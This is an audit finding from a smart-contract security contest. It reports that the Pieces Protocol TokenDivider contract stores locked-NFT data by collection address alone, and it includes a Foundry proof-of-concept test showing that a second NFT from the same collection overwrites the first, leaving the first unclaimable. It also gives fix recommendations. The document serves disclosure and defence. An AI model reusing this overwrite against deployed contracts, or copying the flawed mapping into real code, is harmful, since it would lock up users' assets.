Pieces Protocol
First Flight #32
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Locked NFT can be overriden with a new NFT from same address with different token id

hirugohan

Summary

In the divideNft function inside the TokenDivider contract, we can lock an NFT with specific token id to the contract, then get the specific amount of ERC20 token in return. Later on, anybody can claim the NFT by converting back the required amount of ERC20 token based on the data stored during divideNft call.

This contract doesn't regard the NFT token id. So any token id sent to this contract, will be stored based on the NFT address. If anyone had the same NFT address with different token id called divideNft again, the prior divideNft stored data will be overriden with the newest one. And the previous NFT can't be claimed anymore.

Vulnerability Details

In the dividenNft function, once the NFT is transfered from the function caller to the TokenDivider contract, the contract then set some data onchain, importantly the NFT data:

nftToErc20Info[nftAddress] = ERC20Info({erc20Address: erc20, tokenId: tokenId});

as we can see, the nftToErc20Info is an array or mapping that stores ERC20Info based on the NFT address. But an NFT address could have more than 1 token id. So by this logic, if we divide two different token id of the same NFT address, one will override the other.

A detailed test suite could be seen below:

function test_failIf_claimOverlappingNFTWithDifferentId() public {
// get the prior deployed ERC20 interface from USER
ERC20Mock erc20Mock = ERC20Mock(
tokenDivider.getErc20InfoFromNft(
address(erc721Mock)
).erc20Address
);
// mint new NFT from the same ERC721 address that already locked in TokenDivider contract
erc721Mock.mint(USER2);
uint256 newTokenId = TOKEN_ID + 1; // save the new token id in memory
​
// act as USER2 (another user) then try to override NFT info through divideNft
vm.startPrank(USER2);
erc721Mock.approve(address(tokenDivider), newTokenId);
tokenDivider.divideNft(
address(erc721Mock),
newTokenId,
AMOUNT
);
vm.stopPrank();
​
// save the ERC20 interface after called by USER2
ERC20Mock erc20MockWithNewTokenId = ERC20Mock(
tokenDivider.getErc20InfoFromNft(
address(erc721Mock)
).erc20Address
);
// we check if the first NFT and the second NFT is now owned by Token Divider contract
assertEq(
erc721Mock.ownerOf(TOKEN_ID),
address(tokenDivider)
);
assertEq(
erc721Mock.ownerOf(newTokenId),
address(tokenDivider)
);
// we check if USER2 already received the ERC20 token from the second NFT
assertEq(
tokenDivider.getBalanceOf(
USER2,
address(erc20MockWithNewTokenId)
),
AMOUNT
);
​
// act as USER2 to call claimNft of the second NFT
vm.startPrank(USER2);
erc20MockWithNewTokenId.approve(
address(tokenDivider),
AMOUNT
);
tokenDivider.claimNft(address(erc721Mock));
vm.stopPrank();
​
// we check if the new NFT owner is now USER2
assertEq(
erc721Mock.ownerOf(newTokenId),
address(USER2)
);
// we check and make sure if the old NFT owner is still TokenDivider contract
assertEq(
erc721Mock.ownerOf(TOKEN_ID),
address(tokenDivider)
);
​
// we check if ERC20 address from the USER before USER2 divide the new NFT should
// be the same with the stored information onchain.
// but this test proof that the second divideNft call override the first divideNft call
/*
assertEq(
address(
tokenDivider.getErc20InfoFromNft(
address(erc721Mock)
).erc20Address
),
address(erc20Mock)
);
*/
​
// USER try to claim the NFT but it returns ERC721InsufficientApproval because
// it expects to have approval of the new ERC20 address,
// which overrides the old ERC20 address
vm.startPrank(USER);
erc20MockWithNewTokenId.approve(
address(tokenDivider),
AMOUNT
);
​
// below claimNft call revert because of approval from different ERC20 address
tokenDivider.claimNft(address(erc721Mock));
vm.stopPrank();
​
assertEq(
erc721Mock.ownerOf(TOKEN_ID),
address(USER)
);
}

Impact

if there already NFT stored inside the TokenDivider, any new divideNft call will overrides the NFT information, including the ERC20 address, amount, and NFT token id. Which lead to the previously locked NFT will never be claimed because the ERC20 information is gone.

Tools Used

Foundry

Recommendations

There are 2 suggestions depends on the design,

  1. If by design sponsor want to keep only 1 NFT token from same address at the same time, the divideNft function should check if the ERC721 address already stored and an NFT is locked in the TokenDivider contract.

  2. But if the sponsor want to accept multiple NFT tokens from same address at the same time, nftToErc20Info[nftAddress] should be updated by either use array or mapping to store multiple token ids.

Updates

Lead Judging Commences

fishy Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Wrong nft collection handling

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.